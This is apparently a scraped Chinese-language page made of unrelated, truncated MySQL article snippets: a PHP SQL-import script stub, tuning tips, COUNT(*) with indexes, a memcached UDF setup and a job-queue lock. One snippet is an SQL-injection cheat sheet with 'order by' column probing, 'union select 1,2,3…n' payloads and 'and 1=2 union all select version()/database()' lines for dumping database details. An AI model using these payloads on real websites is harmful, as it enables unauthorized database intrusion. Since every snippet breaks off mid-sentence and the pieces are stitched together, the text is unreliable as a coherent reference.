複製代碼 代碼如下:<?php// Name of the file$filename = 'churc.sql';// MySQL host$mysql_host = 'localhost';// MySQL username$mysql_username = 'root';// MySQL password$mysql_password = '';// Database name$mysql_database = 'dump';// Connect to MySQL
1.查詢協助 ? contents2.使用合成的散列值,分離BLOB或者TEXT3.貨幣使用定點數(decimal或者numberic)4.sql_mode?5.order by rand() limit 1000;6.最佳化show status like 'Com' Com_select Com_insert等查看插入多還是查詢多7.Handler_read_key 的值將很高,這個值代表了一個行被索引值讀的次數,很低的值表明增加索引得到的效能改善不高,因為索引並不經常使用.Handler_
一般採用二級索引去count:比如:id 是pk aid是secondary index採用複製代碼 代碼如下:select count(*) from table where id >=0;或select count(*) from table;效果是一樣的,都是預設使用pk索引,且都要全表掃描,雖然第一種效能可能高一些,但是沒有明顯區別。但是如果用secondary index複製代碼 代碼如下:select count(*) from table where
暴欄位長度Order by num/*匹配欄位and 1=1 union select 1,2,3,4,5…….n/*暴欄位位置and 1=2 union select 1,2,3,4,5…..n/*利用內建函數暴資料庫資訊version() database() user() 不用猜解可用欄位暴資料庫資訊(有些網站不適用):and 1=2 union all select version() /*and 1=2 union all select database() /*
mysql 5.1支援觸發器以及自訂函數介面(UDF)的特性,如果配合libmemcache以及Memcached Functions for MySQL,就能夠實現memcache的自動更新。簡單記錄一下安裝測試步驟。安裝步驟安裝memcached,這個步驟很簡單,隨處可見 安裝mysql server 5.1RC,安裝辦法也很福士,不廢話了 編譯libmemcached,解壓後安裝即可./configure; make; make install 編譯Memcached Functions
通常在我們進行多進程應用開發的過程中,不可避免的會遇到多個進程訪問同一個資源(臨界資源)的狀況,這時候必須通過加一個全域性的鎖,來實現資源的同步訪問(即:同一時間裡只能有一個進程訪問資源)。舉個例子如下:假設我們用mysql來實現一個任務隊列,實現的過程如下:1. 在Mysql中建立Job表,用於儲存隊列任務,如下:create table jobs( id auto_increment not null primary key, message text not null,